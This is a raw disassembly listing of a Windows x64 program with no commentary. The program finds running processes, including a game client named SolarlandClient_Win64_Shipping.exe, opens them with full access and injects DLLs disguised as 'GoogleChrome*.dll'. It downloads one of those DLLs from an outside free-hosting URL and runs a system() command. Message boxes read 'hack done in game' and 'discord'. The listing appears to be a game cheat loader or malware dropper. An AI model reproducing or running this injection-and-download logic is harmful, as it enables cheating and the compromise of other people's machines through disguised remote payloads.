lea rcx, [rbp + 0xbc8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xbe8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc08]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc28]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xc88]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x868]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x888]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x8e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x908]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x928]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x948]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x968]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x988]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9a8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9c8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1f0]
call fcn.140001780
nop
lea rcx, [rbp + 0xa48]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa68]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x9e8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xa08]
call fcn.1400028c0
jmp 0x1400053ec
mov r14d, esi
lea rdx, [rbp + 0x1000]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140005c24
lea rbx, [0x14000b968]
nop dword [rax]
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x102c]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140005c03
inc rax
test ecx, ecx
jne 0x140005bf0
test edx, edx
je 0x140005c1d
lea rdx, [rbp + 0x1000]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005be0
jmp 0x140005c24
mov r14d, dword [rbp + 0x1008]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140005c57
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.OpenProcess_failed:_0x_X_n
jmp 0x140005812
mov rcx, rbx
call fcn.1400031c0
test al, al
jne 0x140005c7d
lea rcx, str.Invalid_target_process._n
call fcn.140001050
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005819
lea rdx, str.GoogleChrome3.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x140005caa
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Something_went_wrong_FeelsBadMan_n
call fcn.140001050
jmp 0x140005819
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rdx, str.c:__GoogleChrome2.dll
lea rcx, [rsp + 0x50]
call fcn.140006690
mov rbx, rax
lea rdx, str.https:__quyenga.000webhostapp.com_files_aGoogleChrome2.dll
lea rcx, [rsp + 0x70]
call fcn.140006690
nop
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140010a18]
call fcn.1400083c0
test al, al
je 0x140005de9
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1134]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1130], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005805
mov r14d, esi
lea rdx, [rbp + 0x1130]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140005d94
lea rbx, [0x14000b990]
mov rax, rbx
lea r8, [rbp + 0x115c]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140005d73
inc rax
test ecx, ecx
jne 0x140005d60
test edx, edx
je 0x140005d8d
lea rdx, [rbp + 0x1130]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005d50
jmp 0x140005d94
mov r14d, dword [rbp + 0x1138]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140005c45
mov rcx, rax
call fcn.1400031c0
test al, al
je 0x140005c63
lea rdx, str.GoogleChrome2.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
je 0x140005c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x14000be48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1264]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1260], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005805
lea rdx, [rbp + 0x1260]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140005e93
lea rdi, str.SolarlandClient_Win64_Shipping.exe
nop dword [rax]
mov rax, rdi
lea r8, [rbp + 0x128c]
sub r8, rdi
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140005e73
inc rax
test ecx, ecx
jne 0x140005e60
test edx, edx
je 0x140005e8d
lea rdx, [rbp + 0x1260]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005e50
jmp 0x140005e93
mov esi, dword [rbp + 0x1268]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140005c45
mov rcx, rax
call fcn.1400031c0
test al, al
je 0x140005c63
lea rdx, str.GoogleChrome4.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
je 0x140005c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, [0x14000b9c8]
lea rdx, str.hack_done___in_game
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor r9d, r9d
lea r8, str.discord
lea rdx, [0x14000c030]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x14000be48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1394]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1390], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005805
mov r14d, esi
lea rdx, [rbp + 0x1390]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140005fe4
lea rbx, [0x14000b968]
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x13bc]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140005fc3
inc rax
test ecx, ecx
jne 0x140005fb0
test edx, edx
je 0x140005fdd
lea rdx, [rbp + 0x1390]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140005fa0
jmp 0x140005fe4
mov r14d, dword [rbp + 0x1398]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140005c45
mov rcx, rax
call fcn.1400031c0
test al, al
je 0x140005c63
lea rdx, str.GoogleChrome1.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
je 0x140005c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x14c4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x14c0], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005805
mov r14d, esi
lea rdx, [rbp + 0x14c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
lea rbx, [0x14000b990]
test eax, eax
je 0x1400060e4
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x14ec]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400060c3
inc rax
test ecx, ecx
jne 0x1400060b0
test edx, edx
je 0x1400060dd
lea rdx, [rbp + 0x14c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400060a0
jmp 0x1400060e4
mov r14d, dword [rbp + 0x14c8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, r14d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140005c45
mov rcx, rax
call fcn.1400031c0
test al, al
jne 0x14000612f
lea rcx, str.Invalid_target_process._n
call fcn.140001050
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140005819
lea rdx, str.GoogleChrome.dll
mov rcx, rdi
call fcn.140001330
mov rcx, rdi
test al, al
je 0x140005c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x15f4]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x15f0], 0x130
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140005805
lea rdx, [rbp + 0x15f0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400061f3
nop word [rax + rax]
mov rax, rbx
lea r8, [rbp + 0x161c]
sub r8, rbx
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400061d3
inc rax
test ecx, ecx
jne 0x1400061c0
test edx, edx
je 0x1400061ed
lea rdx, [rbp + 0x15f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400061b0
jmp 0x1400061f3
mov esi, dword [rbp + 0x15f8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140005c45
mov rcx, rax
call fcn.1400031c0
test al, al
je 0x140005c63
lea rdx, str.GoogleChrome2.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
je 0x140005c93
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r9d, r9d
lea r8, str.discord
lea rdx, [0x14000c030]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3